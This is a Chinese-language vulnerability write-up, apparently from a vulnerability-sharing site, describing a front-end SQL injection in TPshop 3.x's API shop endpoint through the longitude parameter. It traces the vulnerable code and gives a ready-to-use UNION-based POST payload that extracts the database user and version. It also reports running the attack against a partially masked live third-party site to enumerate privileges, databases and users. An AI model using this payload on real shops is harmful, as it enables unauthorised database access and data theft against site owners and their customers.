TPshop API接口前台注入漏洞(通杀3.X)
- 发表于
- Vulndb
TPshop 注入漏洞
TPshop是国内应用范围大、覆盖面广的电商软件产品。
漏洞分析
跟踪到
/application/home/controller/Api.php
控制器中的
shop
方法:

流程分析
| 1 2 3 4 5 6 7 8 9 10 11 | 379~384 Line: 获取外部输入并赋值给变量 385~387 Line: $province_id、$province_id、$district_id判断以上三个遍历是否为空,若成立返回空的json 388 Line: 将$province_id、$city_id、$district_id放入$where数组中以供SQL查询 389 Line: 定义变量$field并赋值为* 390 Line: 定义变量$order并赋值为shop_id desc 391 Line: 判断变量$longitude是否为真 392 Line: 将$longitude、$latitude拼接到SQL语句中并赋值到$field中 393 Line: 将$order赋值为distance ASC 395 Line: 判断$shop_address是否为真 396 Line: 将$shop_address放入$where数组中以供SQL查询 399 Line: 带入SQL查询 | 
代码调试
通过代码分析后发现
$field
传入方法
field
中,并不会将这个变量中的值预编译,而是直接带入中执行,接着来调试!在399行后添加代码如下:
| 1 | print Db::name('region')->getlastsql(); | 
getlastsql
方法在tp框架中是返回SQL语句也可以说是监听,接着往下走,访问
| 1 | http://localhost:8083/index.php/home/api/shop | 
POST包:
| 1 | province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1 | 

为
longitude
参数赋值为
1’

可以看到程序已经抛出了异常,MySQL执行错误,最终Payload如下:
| 1 | province_id=1&city_id=2&district_id=1&shop_address=aaaa&latitude=1&longitude=1- latitude)* 111),2))),2) AS distance FROM `tp_shop` WHERE `deleted` = :where_deleted AND `shop_status` = :where_shop_status AND `province_id` = :where_province_id AND `city_id` = :where_city_id AND `district_id` = :where_district_id AND ( `shop_name` LIKE :where_shop_name OR `shop_address` LIKE :where_shop_address ) UNION(SELECT(user()),(version()),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29))%23 | 
(实战中需根据字段数调整一下Payload)

漏洞复现:
| 1 2 | 示例站:http://www.e******.com/index.php/home/api/shop 字段数:28 | 
查权限:

查库名:

查字段:

查用户:

复现来源于互联网,如有打码不严还请手下留情。
本文作者:CoolCat,原连接
   原文连接:TPshop API接口前台注入漏洞(通杀3.X)  所有媒体,可在保留署名、
  原文连接
的情况下转载,若非则不得使用我方内容。  
  
 ![织梦DEDECMS search.php注入漏洞EXP[通杀]](https://www.uedbox.com/wp-content/themes/UB2019/prcute.php?src=https://www.uedbox.com/wp-content/uploads/2013/01/11.jpg&h=144&w=208&zc=1) 
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
 